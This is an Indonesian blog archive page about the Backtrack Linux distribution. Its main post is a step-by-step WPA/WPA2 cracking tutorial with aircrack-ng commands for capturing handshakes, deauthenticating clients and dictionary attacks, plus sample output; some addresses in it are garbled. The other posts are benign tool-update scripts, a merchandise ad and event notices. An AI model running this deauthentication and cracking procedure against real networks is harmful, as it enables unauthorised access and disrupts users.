Showing posts with label Backtrack. Show all posts
Showing posts with label Backtrack. Show all posts

Monday, June 1, 2015

Wifi Cracking WPA/WPA2 - Aircrack-ng

WPA/WPA2 Crack dengan aircrack-ng suite, cara nya tidak jauh berbeda dengan crack WEP, tetapi dalam proses nya akan membutuhkan waktu yang lama. pada dasar nya cracking WPA sama seperti WEP hanya saja yang kita tangkap/capture adalah WPA Handshake bukan nya IVs seperti ketika kita mengaudit WEP. WPA Handshake disini adalah sekumpulan file hasil tangkapan pada lalu lintas jaringan pada accses point (AP) tertentu yang kita jadikan target.

Pertama, solusi ini mengasumsikan:

     Kita menggunakan driver yang sudah di patch untuk injeksiGunakan tes injeksi untuk mengkonfirmasikan kartu wireless bisa melakukan proses injection sebelum melanjutkan. secara fisik kita harus dekat dengan accses point (AP), karena walaupun kita bisa menerima paket dari AP tersebut, belum tentu kita juga dapat mengirimkan paket ke AP itu.

Dalam tutorial ini, kita menggunakan:

    Alamat MAC dari PC yang menjalankan aircrack-ng: 00:00 F: B5: 88: AC: 82
    Alamat MAC dari AP target menggunakan WPA2: 00:0 F: B5: FD: FB: C2
    BSSID (MAC alamat AP): 0:14:06 C: 7E: 40:80
    ESSID (nama AP target/klien): teddy
    Channel: 9
    Wireless interface: wlan0
    Driver: r8187 (patched)


Kita harus mengumpulkan informasi sebanyak-banyak nya dari AP, kemudian kita hanya mengubah nilai-nilai pada contoh di bawah ini untuk jaringan tertentu.
Tujuannya adalah untuk menangkap Handshake authentikasi WPA/WPA2 dan kemudian menggunakan aircrack-ng untuk proses cracking Pre Shared Key (PSK) nya..

Hal ini dapat dilakukan baik secara aktif maupun pasif. "Aktif" berarti kita akan mempercepat proses dengan deauthenticating wireless klien yang ada. "Pasif" berarti kita hanya menunggu wireless klien untuk authentikasi sendiri ke jaringan WPA/WPA2 tersebut. Keuntungan pasif adalah bahwa kita tidak benar-benar membutuhkan kemampuan injeksi dan dengan demikian aircrack-ng versi Windows pun dapat digunakan.

Berikut adalah langkah-langkah dasar:

  1. Jalankan wireless interface dalam mode monitor pada channel AP tertentu.
  2. Jalankan airodump-ng pada channel AP dengan filterBSSID untuk mengumpulkan handshake authentication
  3. Gunakan aireplay-ng # untuk deauthenticate wireless client
  4. Jalankan aircrack-ng untuk cracking PSK menggunakan handshake authentication


Langkah 1 - Jalankan interface nirkabel dalam mode monitor

Tujuan dari langkah ini adalah untuk menempatkan kartu kita ke dalam apa yang disebut mode monitor. Monitor mode adalah mode dimana kartu dapat mendengarkan setiap paket. Biasanya kartu hanya akan "mendengar" paket yang ditujukan kepada nya. Dengan mendengar setiap paket, kita kemudian dapat menangkap WPA/WPA2 4-way handshake. Selain, itu memungkinkan kita untuk melakukan opsional deauthenticate wireless klien pada langkah berikutnya.

Prosedur yang tepat untuk memungkinkan mode monitor sangat bervariasi tergantung pada driver yang kita gunakan. Untuk menentukan driver (dan prosedur yang benar untuk mengikuti), jalankan perintah berikut:

 airmon-ng

Pada mesin dengan realtek terpasang, sistem merespon:

 Interface           Chipset                   driver

 wlan0                realtek                   r8187


Driver r8187 (stack-ieee82011) kita pakai, karena driver ini mampu melakukan penetrasi dan injeksi lebih baik dari pada driver rtl8187 (stacks-mac82011), karena kita tak ingin berlama-lama dalam mengumpulkan data unuk menangkap WPA Handshake, karena sesungguh nya proses cracking WPA/WPA2 titik kesulitan nya pada sesi cracking Handshake tersebut.

Langkah 2 - Jalankan airodump-ng untuk mengumpulkan handshake authentication

Tujuan dari langkah ini adalah dengan menjalankan airodump-ng untuk menangkap 4-way WPA Handshake authentikasi terhadap AP target.

Masukkan:

 airodump-ng -c 9 --bssid 00:14:06 C: 7E: 40:80 -w psk wlan0


Dimana:

    -c 9 adalah channel dari target
    -bssid 00:14:06 C: 7E: 40:80 adalah MAC address AP.
    -w psk adalah nama file yg akan berisi WPA Hndshake
     wlan0 adalah nama interface.



Berikut tampilan jika wireless klien terhubung ke jaringan:


  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID                     PWR  RXQ   Beacons    #Data,  #/s  CH  MB    ENC     CIPHER    AUTH    ESSID
                                                                                                               
  00:14:6C:7E:40:80   39        100     51                116     14      9      54  WPA2    CCMP       PSK        teddy                           
                                                                                                               
  BSSID                      STATION               PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2      35      0        116



Pada layar di atas, perhatikan "WPA Handshake: 00:14:06 C: 7E: 40:80" di sudut kanan atas. Ini berarti airodump-ng telah berhasil menangkap 4-way WPA Handshake.

Berikut ini adalah jika wireless klien gagal tersambung:


  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID                     PWR   RXQ    Beacons    #Data, #/s  CH  MB  ENC     CIPHER AUTH  ESSID
                                                                                                               
  00:14:6C:7E:40:80   39        100       51                0    0        9     54  WPA2  CCMP    PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes  





Langkah 3 - Gunakan aireplay-ng # untuk deauthenticate wireless client

Langkah ini adalah opsional. Jika kita bersabar, kita dapat menunggu sampai airodump-ng menangkap WPA Handshake ketika satu atau lebih klien terhubung ke AP. kita hanya melakukan langkah ini jika memilih untuk secara aktif mempercepat proses. Kendala lain adalah bahwa harus ada klien yang saat ini terkait (assosiate) dengan AP. Jika tidak ada klien terkait dengan AP, maka kita harus bersabar dan menunggu seseorang untuk terhubung ke AP sehingga WPA Handshake dapat ditangkap. Tak perlu dikatakan, jika klien muncul kemudian airodump-ng tidak dapat menangkap WAP Handshake, kita kembali dan harus melakukan langkah ini.

Langkah ini mengirimkan pesan ke klien dengan mengatakan bahwa tidak dikaitkan dengan AP. Wireless client akan diharapkan reauthenticate dengan AP. Reauthentication adalah apa yang di hasilkan WPA Handshake 4-way, Ini yang akan kita gunakan untuk memecah kunci PSK dari WPA/WPA2.

Berdasarkan output dari airodump-ng dalam langkah sebelumnya, kita menentukan klien yang saat ini terhubung. kita memerlukan MAC address dari AP target.

Buka konsol sesi lain dan masukkan:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0


Dimana:

  -0 adalah deauthentication
   1  adalah jumlah deauths untuk dikirim (berapa pun terserah kita)
  -a 00:14:6C:7E:40:80 adalah MAC address dari access point
  -c 00:0F:B5:FD:FB:C2 adalah MAC address dari client ( stations )
   wlan0 adalah interface



Berikut adalah tampilan nya:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

Dengan sedikit keberuntungan klien akan reauthenticate dan menghasilkan 4-way WPA Handshake.


Tips Mengatasi Masalah

    Paket-paket deauthentication dikirim langsung dari PC ke klien. Jadi, kita harus secara fisik cukup dekat kepada klien untuk transmisi wireless dan menjangkau mereka. Untuk mengkonfirmasi klien menerima paket deauthentication, dapat menggunakan tcpdump atau yang lain untuk mencari paket ACK dari klien. Jika kita  tidak mendapatkan paket ACK , maka klien tidak "mendengar" paket deauthentication.

Langkah 4 - Jalankan aircrack-ng untuk memecahkan WPA PSK key

Tujuan dari langkah ini adalah untuk benar-benar memecahkan kunci WPA/WPA2. Untuk melakukan ini, kita membutuhkan kamus kata-kata ( DICTIONARY )sebagai masukan. Pada dasarnya, aircrack-ng mengambil setiap kata dan di tes untuk melihat apakah ini sebenarnya kunci  PSK nya.

Ini yang benar-benar letak kesulitan nya cracking WPA/WPA2, kita harus mempunyai kamus (dictionary) berisi ( kemungkinan berisi ) password yang di pakai oleh jaringan wireless tersebut, sebanyak berapa pun isi kamus tersebut jika tak berisi kandidat password jaringan tersebut kemungkinan menemukan kunci nya adalah 0%, dan jika kamus itu berisi dan salah satu nya adalah password dari jaringan itu, maka dengan senang hati penulis akan mengucapkan selamat dan berapa beruntung nya anda. :D

Ada beberapa cara yang sebenar nya bisa di pakai, tapi sekali lagi keberuntungan saja yang akan membuat berhasil, karena bagaimana pun juga keberhasilan cracking WPA tergantung kamus (dictionary). seandai nya bisa seperti WEP yang dimana cracking password nya ON THE FLY artinya menemukan sendiri password tanpa kamus. disini lah perbedaan WEP dengan WPA. saking gampang nya WEP tidak lagi di rekomendasikan penggunaan nya. cara lain adalah dengan menyambung ( PIPE ) aircrack-ng  dengan program lain seperti john the ripper (JTR), JTR adalah program cracking dan password generator. ( lain kali kita bahas cara mem-pipe aircrack-ng dengan JTR atau generator-generator lain ).

lanjut......

Buka konsol sesi lain dan masukkan:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap


Dimana:

    -W password.lst adalah nama dari file kamus. Ingatlah untuk menentukan path lengkap jika file tersebut tidak terletak di direktori yang sama.
    *. Cap adalah nama sekelompok file yang berisi paket yang diambil. Perhatikan dalam kasus ini, bahwa kita menggunakan wildcard * untuk memasukkan beberapa file.

Berikut adalah output jika WPA Handshake tidak ditemukan:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.


Ketika ini terjadi, kita harus mengulang langkah 3 (deauthenticating klien nirkabel) atau menunggu lebih lama jika Anda menggunakan pendekatan pasif. Bila menggunakan pendekatan pasif, Anda harus menunggu sampai klien nirkabel mengotentikasi ke AP.

Berikut adalah output WPA Handshake jika ditemukan:

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 #  BSSID                      ESSID                     Encryption

 1  00:14:6C:7E:40:80    teddy                        WPA (1 handshake)

 Choosing first network as target.




Sekarang pada titik ini, aircrack-ng akan mulai mencoba untuk memecahkan kunci PSK. Tergantung pada kecepatan CPU dan ukuran kamus, ini bisa memakan waktu lama, bahkan berhari-hari.

Berikut adalah proses cracking akan terlihat seperti:

                                                           Aircrack-ng 0.8


                                          [00:00:00] 2 keys tested (37.20 k/s)


                                               KEY FOUND! [ 12345678 ]



    Master Key             : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 

    Transcient Key        : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 

    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

WPA/WPA2 proses cracking nya membutuh kan sedikit keberuntungan dengan kamus-kamus koleksi kita, di internet banyak sekali situs-situs yang menyediakan kamus gratis, kita bisa saja mengambilnya dan berharap dalam kamus tersebut akan berisi password dari target jaringan yang ingin kita hack.
PENTING: WPA/WPA2 bisa memakai password dari 8 digit sampai 63 digit, dan semua karakter di keyboard bisa di pakai contoh `~!@#$%^&*()_-+|\ bahkan spasi (space) pun bisa menjadi kombinasi password nya, tak hanya angka (number), huruf kecil (lettercase), huruf besar (uppercase). jadi bisa di bayangkan berapa secure (kuat) nya kombinasi password WPA/WPA2.
Jadi sekali lagi, pandai-pandai memilih kamus, yang sekiranya tepat dan akurat. mengenai piping aircrack-ng dengan JTR dan kamus generator lain, kita bahas lain kali.
semoga berhasil.
## tulisan ini bersumber dari aircrack-ng.org dan diterjemahkan bebas oleh penulis, dan sedikit bahasa pribadi dari pengalaman penulis. kunjungi situs resmi aircrack-ng dan juga forum resmi nya untuk lebih lanjut nya.
sumber copas : click me!

Friday, January 4, 2013

Install Flash Player | Backtrack 5R3

  • As you may have noticed Flash Player does not work on Backtrack 5, so in order to fix this we first need to remove the current flash player by issuing the following commands:
root@bt:~# apt-get purge flashplugin-nonfree flashplugin-installer 
           gnash gnash-common mozilla-plugin-gnash swfdec-mozilla
root@bt:~# rm -f /usr/lib/firefox/plugins/*flash*
root@bt:~# rm -f /usr/lib/firefox-addons/plugins/*flash*
root@bt:~# rm -f /usr/lib/mozilla/plugins/*flash*
root@bt:~# rm -f ~/.mozilla/plugins/*flash*so
root@bt:~# rm -rfd /usr/lib/nspluginwrapper
  • Next up we will take care of the Flash Player:
root@bt:~# mkdir -p ~/.mozilla/plugins
root@bt:~# mkdir flash
root@bt:~# mv -f install_flash_player_11_linux.i386.tar.gz flash/
root@bt:~# cd flash/
root@bt:~/flash# tar xvfz install_flash_player_11_linux.i386.tar.gz 
root@bt:~/flash# cp -f libflashplayer.so ~/.mozilla/plugins/
  • We can test if flash player works over here
source link : http://www.backtrack-linux.org/wiki/index.php/Install_Flash_Player

Thursday, December 13, 2012

Kaos WiFu - gr33nc0d3


Kaos WiFu :
DTG Printed : Rp. 95.000/Pcs
Bisa di setrika
Bahan Kaos : Cotton Combed 20S
Size available : S,M,L,XL,XXL,XXXL
**untuk XL,XXL,XXXL + Extra Rp. 10.000

Tuesday, December 11, 2012

Backtrack 5 Update Python code

Bagi teman-teman yang mengalami kesulitan dalam meng-update system/tools di Backtrack 5 ... copy-paste script dibawah ini dan simpan dengan "nama apa saja".py ... contoh : btupdate.py

#!/usr/bin/python
# Update script for Backtrack 5 R2/R3.
# Author: sickness
# Thanks goes to: g0tmi1k
# #########################################
#
# Depending on how you run the script it may cause issues with your Backtrack installation.
# DO NOT RUN IT UNLESS YOU KNOW WHAT YOU ARE DOING.
# Further more I am not responsable if your Backtrack OS starts encountering issues.
#
###########################################

# Imports
import sys, urllib2, subprocess, argparse, os
from time import sleep
from argparse import RawTextHelpFormatter

GREEN = '\033[92m'
END = '\033[0m'
RED = '\033[31m'

# Update Functions
def internet_check():
    try:
        urllib2.urlopen("http://www.google.com", timeout=1)
        print "\n"
        print GREEN + "[>] Internet connection: available!" + END
        sleep(0.1)
    except:
        print "\n"
        print RED + "[>] Internet connection: unavailable!" + END
        sys.exit()

def backtrack_update():
    print GREEN + "[>] Updating & cleaning Backtrack, please wait...\n" + END
   
    if subprocess.Popen("ls -l /pentest/web/scanners/ 2>/dev/null | grep -q 0", shell=True).wait() == 0:
        subprocess.Popen("rm -rf /pentest/web/scanners/", shell=True).wait()
       
    if subprocess.Popen("apt-get update && apt-get -y dist-upgrade", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Backtrack updated & cleaned successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Backtrack\n" + END
        sleep(2)

def exploit_db():
    print GREEN + "[>] Updating Exploit-DB, please wait...\n" + END

    if subprocess.Popen("cd /pentest/exploits/exploitdb/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Exploit-DB updated successfully!" + END
    else:
        print RED + "[>] Exploit-DB's SVN didn't work. Updating manually. Please wait...\n" + END
        if subprocess.Popen("wget http://www.exploit-db.com/archive.tar.bz2", shell=True).wait() == 0:
            subprocess.Popen("tar xvfj archive.tar.bz2 > /dev/null", shell=True).wait()
            subprocess.Popen("rm -rf /pentest/exploits/exploitdb/platforms/", shell=True).wait()
            subprocess.Popen("mv -f platforms/ files.csv /pentest/exploits/exploitdb/", shell=True).wait()
            subprocess.Popen("rm -rf archive.tar.bz2*", shell=True).wait()
            print "\n"
            print GREEN + "[>] Exploit-DB updated successfully!" + END
        else:
            print "\n"
            print RED + "[>] Failed to update Exploit-DB\n" + END
            sleep(2)

def s_e_t():
    print GREEN + "[>] Updating SET, please wait...\n" + END

    if subprocess.Popen("cd /pentest/exploits/set/ && ./set-update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] SET updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update SET\n" + END
        sleep(2)

def warvox():
    print RED + "[>] The following software has been completely integrated within Metasploit, update might fail!" + END
    print GREEN + "[>] Updating Warvox, please wait...\n" + END

    if subprocess.Popen("cd /pentest/telephony/warvox/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Warvox updated successfully!" + END
    elif subprocess.Popen("apt-get remove warvox -y && rm -rf /pentest/telephony/warvox/ && svn checkout http://www.metasploit.com/svn/warvox/trunk/ /pentest/telephony/warvox/", shell=True).wait() == 0:
    #elif subprocess.Popen("svn checkout http://www.metasploit.com/svn/warvox/trunk/ /pentest/telephony/warvox/", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Warvox updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Warvox\n" + END
        sleep(2)

def giskismet():
    print GREEN + "[>] Updating Giskismet, please wait...\n" + END

    if subprocess.Popen("cd /pentest/wireless/giskismet/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Giskismet updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Giskismet\n" + END
        sleep(2)

def dedected():
    print GREEN + "[>] Updating Dedected, please wait...\n" + END

    if subprocess.Popen("cd /pentest/telephony/dedected/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Dedected updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Dedected\n" + END
        sleep(2)

def msf():
    print GREEN + "[>] Updating Metasploit, please wait...\n" + END

    if subprocess.Popen("msfupdate", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Metasploit updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Metasploit\n" + END
        sleep(2)

def w3af():
    print GREEN + "[>] Updating W3AF, please wait...\n" + END

    if subprocess.Popen("cd /pentest/web/w3af/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] W3AF updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update W3AF\n" + END
        sleep(2)

def nikto():
    print RED + "[>] The following software hasn't been updated for an extensive period of time, update might fail!" + END
    print GREEN + "[>] Updating Nikto, please wait...\n" + END

    if subprocess.Popen("cd /pentest/web/nikto/ && ./nikto.pl -update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Nikto updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Nikto\n" + END
        sleep(2)

def fasttrack():
    print GREEN + "[>] Updating Fast-track, please wait...\n" + END
    if subprocess.Popen("cd /pentest/exploits/fasttrack/ && ./fast-track.py -c 1", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Fast-track updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Fast-track\n" + END
        sleep(2)

def pyrit():
    print GREEN + "[>] Checking to see if Pyrit is installed" + END

    if subprocess.Popen("pyrit > /dev/null", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Pyrit installed!" + END
    else:
        print GREEN + "[>] Installing Pyrit, please wait...\n" + END
        subprocess.Popen("apt-get -y install libssl-dev scapy python-dev", shell=True).wait()
        subprocess.Popen("svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn", shell=True).wait()
        subprocess.Popen("cd pyrit_svn/pyrit && python setup.py build && python setup.py install", shell=True).wait()
        subprocess.Popen("rm -rf pyrit_svn", shell=True).wait()
        print "\n"
        print GREEN + "[>] Pyrit installed successfully!" + END
        sleep(2)

def nmap():
    print GREEN + "[>] Updating Nmap (OS fingerprinting), please wait...\n" + END  
    if subprocess.Popen("wget http://nmap.org/svn/nmap-os-db -O /usr/local/share/nmap/nmap-os-db", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Nmap fingerprint updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update nmap fingerprint\n" + END
        sleep(2)

    print GREEN + "[>] Updating Nmap (scripting engine), please wait...\n" + END  
    if subprocess.Popen("nmap -script-updatedb", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Nmap scripting engine updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update nmap  scripting engine\n" + END
        sleep(2)

def fimap():
    print GREEN + "[>] Updating Fimap & installing MSF plugin, please wait...\n" + END

    if subprocess.Popen("cd /pentest/web/fimap/ && ./fimap.py --update-def", shell=True).wait() == 1:
        print "\n"
        print GREEN + "[>] Fimap updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Fimap\n" + END
        sleep(2)

def wpscan():
    print GREEN + "[>] Updating WPScan, please wait...\n" + END
   
    if subprocess.Popen("find /root/.gem/ruby/*/bin/ -name nokogiri | egrep '.*' > /dev/null", shell=True).wait() == 1:    #gem list nokogiri | grep -q nokogiri
        print GREEN + "[>] Installing the required ruby gem, please wait...\n" + END
        if subprocess.Popen("gem install --user-install nokogiri", shell=True).wait() == 0:
            print GREEN + "[>] Ruby gem installed successfully!" + END
        else:
            print RED + "[>] Failed to install ruby gem\n" + END

    if subprocess.Popen("cd /pentest/web/wpscan/ && ./wpscan.rb --update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] WPScan updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update WPScan\n" + END
        sleep(2)

def joomscan():
    print GREEN + "[>] Updating JoomScan, please wait...\n" + END

    if subprocess.Popen("cd /pentest/web/joomscan/ && perl joomscan.pl update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] JoomScan updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update JoomScan\n" + END
        sleep(2)

def sqlmap():
    print GREEN + "[>] Updating SQLMap, please wait...\n" + END

    if subprocess.Popen("cd /pentest/database/sqlmap/ && python sqlmap.py --update", shell=True).wait() == 1:
        print "\n"
        print GREEN + "[>] SQLMap updated successfully!" + END
    elif subprocess.Popen("cd /pentest/database/sqlmap/ && ./sqlmap.py --update", shell=True).wait() == 1: # svn update
        print "\n"
        print GREEN + "[>] SQLMap updated successfully!" + END
    #elif subprocess.Popen("apt-get remove sqlmap && rm -rf /pentest/database/sqlmap/ && svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap /pentest/database/sqlmap/", shell=True).wait() == 1:
    elif subprocess.Popen("svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap /pentest/database/sqlmap/", shell=True).wait() == 1:
        print "\n"
        print GREEN + "[>] SQLMap updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update SQLMap\n" + END
        sleep(2)

def hexorbase():
    print GREEN + "[>] Updating HexorBase please wait...\n" + END

    if subprocess.Popen("cd /pentest/database/hexorbase/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] HexorBase updated successfully!" + END
    #elif subprocess.Popen("apt-get remove hexorbase && rm -rf /pentest/database/hexorbase/ && svn checkout http://hexorbase.googlecode.com/svn/ /pentest/database/hexorbase/", shell=True).wait() == 1:
    elif subprocess.Popen("svn checkout http://hexorbase.googlecode.com/svn/ /pentest/database/hexorbase/", shell=True).wait() == 1:
        print "\n"
        print GREEN + "[>] HexorBase updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update HexorBase\n" + END
        sleep(2)

def sqlninja():
    print GREEN + "[>] Updating SQLNinja, please wait...\n" + END

    if subprocess.Popen("apt-get remove sqlninja -y && rm -rf /pentest/database/sqlninja && svn co https://sqlninja.svn.sourceforge.net/svnroot/sqlninja /pentest/database/sqlninja", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] SQLNinja updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update SQLNinja\n" + END
        sleep(2)

def openvas():
    print GREEN + "[>] Updating OpenVAS, please wait...\n" + END

    if subprocess.Popen("openvas-nvt-sync", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] OpenVAS updated successfully!" + END

    else:
        print "\n"
        print RED + "[>] Failed to update OpenVAS\n" + END
        sleep(2)

def aircrack():
    print GREEN + "[>] Updating AirCrack-NG & Airodump, please wait...\n" + END

    subprocess.Popen("apt-get install libssl-dev", shell=True).wait()
    if subprocess.Popen("cd /pentest/wireless/aircrack-ng/ && svn update", shell=True).wait() == 0:
        subprocess.Popen("cd /pentest/wireless/aircrack-ng/scripts/ && chmod a+x airodump-ng-oui-update && ./airodump-ng-oui-update", shell=True).wait()
        print "\n"
        print GREEN + "[>] AirCrack-NG & Airodump updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update AirCrack-ng\n" + END
        sleep(2)
       
def webhandler():
    print GREEN + "[>] Updating WebHandler, please wait...\n" + END

    if subprocess.Popen("cd /pentest/backdoors/web/webhandler/ && python webhandler.py --update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] WebHandler updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update WebHandler\n" + END
        sleep(2)
       
def beef():
    print GREEN + "[>] Updating BeEF, please wait...\n" + END

    if subprocess.Popen("cd /pentest/web/beef/ && ./update-beef", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] BeEF updated successfully!" + END
    else:
        print RED + "[>] Unable to update BeEF normally. Downloading a fresh copy, please wait...\n" + END
        if subprocess.Popen("mv -f /pentest/web/beef{,_old} && cd /pentest/web/ && git clone git://github.com/beefproject/beef.git && cd /pentest/web/beef/ && ./update-beef", shell=True).wait() == 0:
            print "\n"
            print GREEN + "[>] BeEF updated successfully!" + END
        else:
            print "\n"
            print RED + "[>] Failed to update BeEF\n" + END
            sleep(2)
       
def wifite():
    print GREEN + "[>] Updating WiFite, please wait...\n" + END

    if subprocess.Popen("cd /pentest/wireless/wifite/ && python wifite.py -upgrade", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] WiFite updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update WiFite\n" + END
        sleep(2)
       
def nessus():
    if subprocess.Popen("ls -l /etc/init.d/nessusd 2>/dev/null | grep -q 0", shell=True).wait() == 0:
        print GREEN + "[>] Updating Nessus, please wait...\n" + END
        nessusrunning = False
        if subprocess.Popen("ps -A | grep nessus > /dev/null", shell=True).wait() == 0:
            nessusrunning = True
           
        if subprocess.Popen("/etc/init.d/nessusd start && sleep 10 && nessus-update-plugins", shell=True).wait() == 0:
            print "\n"
            print GREEN + "[>] Nessus updated successfully!" + END
        else:
            print "\n"
            print RED + "[>] Failed to update Nessus\n" + END
            sleep(2)
       
        if nessusrunning == False:
            subprocess.Popen("/etc/init.d/nessusd stop", shell=True).wait()
    else:
        print RED + "[>] You do not have Nessus installed. Skipping...\n" + END
       
def fernwificracker():
    print GREEN + "[>] Updating Fern WIFI Cracker, please wait...\n" + END

    if subprocess.Popen("cd /pentest/wireless/fern-wifi-cracker/ && svn update", shell=True).wait() == 0:
        print "\n"
        print GREEN + "[>] Fern WIFI Cracker updated successfully!" + END
    else:
        print "\n"
        print RED + "[>] Failed to update Fern WIFI Cracker\n" + END
        sleep(2)
       
def system():
    backtrack_update()

def tools():
    exploit_db()
    s_e_t ()
    warvox()
    giskismet()
    dedected()
    msf()
    w3af()
    nikto()
    fasttrack()
    pyrit()
    nmap()
    fimap()
    wpscan()
    joomscan()
    sqlmap()
    hexorbase()
    sqlninja()
    openvas()
    aircrack()
    webhandler()
    beef()
    wifite()
    nessus()
    fernwificracker()
   
def all():
    system()
    tools()
  
def tryharder():
    print "\n"
    print RED + "[>] Wrong choice, possible choices are: system, tools, all\n" + END

def complete():
    print GREEN + "[>] Cleaning up, please wait...\n" + END
    subprocess.Popen("rm -f /root/fimap.log", shell=True).wait()
    subprocess.Popen("apt-get -y autoremove && apt-get -y clean", shell=True).wait()
    print GREEN + "[>] Cleaned successfully!" + END
    print "\n"
    print GREEN + "[>] Backtrack update completed successfully!\n" + END
    sys.exit()

# Main
if __name__ == "__main__":
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description='''[>] Update script for Backtrack 5 R2/R3\n[>] Author: sickness \n[>] Version: 2.0''')
    parser.add_argument('--update', help="Select what to update: system, tools, all")

    args = parser.parse_args()
    if len(sys.argv) > 4:
        parser.print_help()
        sys.exit()
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit()

    internet_check()

    if args.update == "system":
        system()
        complete()
    elif args.update == "tools":
        tools()
        complete()
    elif args.update == "all":
        all()
        complete()
    else:
        tryharder()

FIXED : WPscan error - Backtrack 5R3

Apakah error ini terjadi waktu anda menjalankan command wpscan ?

[ERROR] RubyGem version error: typhoeus(0.2.4 not = 0.4.2)

Error tersebut timbul karena wpscan membutuhkan versi yang lebih tinggi typhoeus nya ? 

nah cara update nya gini :
#gem install typhoeus -v 0.4.2

Monday, December 10, 2012

Seminar Nasional - Hacking & Security

Assalammualaikum.Wr.Wb
Salam sejahtera untuk kita semua ,

" This little dragon from Jogja in the same month will flapping his wings in 2nd time to the public University Tehnologi Yogyakarta "


Mohon Do'a restunya agar kami sukses membawakan Workshoop ini ,

ini merupakan event pertama kami selama kami terbentuk menjadi salah satu Regional dari Indonesian Backtrack Team tertanggal 28 Desember 2012

Trimakasih ,

Wassalammualaikum.wr.wb



source link : http://indonesianbacktrack.or.id/forum/Thread-Seminar-Nasional?pid=37428#pid37428

Sunday, December 9, 2012

Copy File dari Partisi Linux - Backtrack 5

The ext3 or third extended filesystem is a journaled file system that is commonly used by the Linux kernel. It is the default file system for many popular Linux distributions.
The ext4 or fourth extended filesystem is a journaling file system for Linux, developed as the successor to ext3.

It was born as a series of backward compatible extensions to remove 64-bit storage limits and add other performance improvements to ext3.However, other Linux kernel developers opposed accepting extensions to ext3 for stability reasons and proposed to fork the source code of ext3, rename it as ext4, and do all the development there, without affecting the current ext3 users
Ext2Read is an explorer like utility to explore ext2/ext3/ext4 files. It now supports LVM2 and EXT4 extents. It can be used to view and copy files and folders. It can recursively copy entire folders. It can also be used to view and copy disk and file
You can download Ext2Read from here
Screenshot
Ext2Fsd is an ext2 file system driver for Windows 2000,  XP, Vista. It’s a free software and everyone can distribute and modify it under GPL2.
Procedure o follow
